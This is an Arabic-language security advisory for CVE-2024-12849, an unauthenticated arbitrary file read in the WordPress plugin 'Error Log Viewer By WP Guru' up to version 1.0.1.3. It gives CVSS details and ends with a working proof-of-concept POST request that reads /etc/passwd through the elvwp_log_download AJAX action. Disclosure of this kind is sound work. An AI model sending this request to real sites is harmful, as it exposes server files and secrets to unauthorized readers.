CVE-2024-12849

Error Log Viewer By WP Guru <= 1.0.1.3 - نقص التفويض لقراءة ملفات تعسفية بدون مصادقة

الوصف

المكوّن الإضافي Error Log Viewer By WP Guru لـ WordPress عرضة لثغرة قراءة الملفات التعسفية في جميع الإصدارات حتى 1.0.1.3 وما يشملها عبر إجراء AJAX wp_ajax_nopriv_elvwp_log_download. وهذا يتيح للمهاجمين غير المصادقين قراءة محتويات ملفات تعسفية على الخادم، والتي قد تحتوي على معلومات حساسة.

التفاصيل

• النوع: إضافة
• Slug: error-log-viewer-wp
• الإصدار المتأثر: 1.0.1.3
• درجة CVSS: 7.5
• تقييم CVSS: مرتفع
• متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• CVE: CVE-2024-12849
• الحالة: نشط

POC

POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

action=elvwp_log_download&elvwp_error_log_download=1&elvwp_error_log=/etc/passwd